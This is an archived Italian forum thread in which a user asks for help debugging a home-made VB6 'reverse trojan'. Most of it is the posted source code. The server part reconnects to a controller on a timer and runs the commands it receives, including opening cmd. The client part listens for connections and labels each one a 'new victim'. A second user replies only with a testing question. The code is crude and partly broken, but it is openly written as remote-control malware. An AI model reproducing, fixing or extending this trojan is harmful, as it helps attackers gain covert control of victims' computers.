Thread obsoleto Trojan reverse help

[BeRlUsConIh]

Ciao a tutti ragazzi ho appena creato una connessione base reverse in vb6 con la connessione tutto a posto solo che quando provo ad aggiungere un qualsiasi comando (shutdown compreso) e vado a provare il tutto non mi da neanche un errore ma a parte la connessione non va niente...
vi posto il codice (non fate caso agli alert sono casuali)
S E R V E R
Private Sub Timer1_Timer()
If w.State <> 7 Then
w.Close
w.Connect "127.0.0.1", 81
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim a As String
w.GetData a
Select Case a
Case "not"
Shell "notepad.exe"
Case "cmd"
Shell "cmd"
Case "calc"
Shell "calc.exe"
Case Else
MsgBox vbInformation, ""
End Select
End Sub

C L I E N T
Private Sub Command1_Click()
w.SendData "lol"
End Sub

Private Sub Command2_Click()
w.SendData "cmd"
End Sub

Private Sub Command3_Click()
w.SendData "calc"
End Sub

Private Sub Command4_Click()
w.SendData "not"
End Sub

Private Sub Command5_Click()
w.SendData "" & Text1
End Sub

Private Sub Form_Load()
w.Close
w.LocalPort = 2555
w.Listen
End Sub

Private Sub w_ConnectionRequest(ByVal requestID As Long)
w.Close
w.Accept requestID
Me.Caption = "Nuova Vittima -" & w.RemoteHostIP
End Sub

Private Sub w_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Call Form_Load
End Sub

 

[Jollyman]

Lo provi su 2 pc diversi o server e client sullo stesso pc?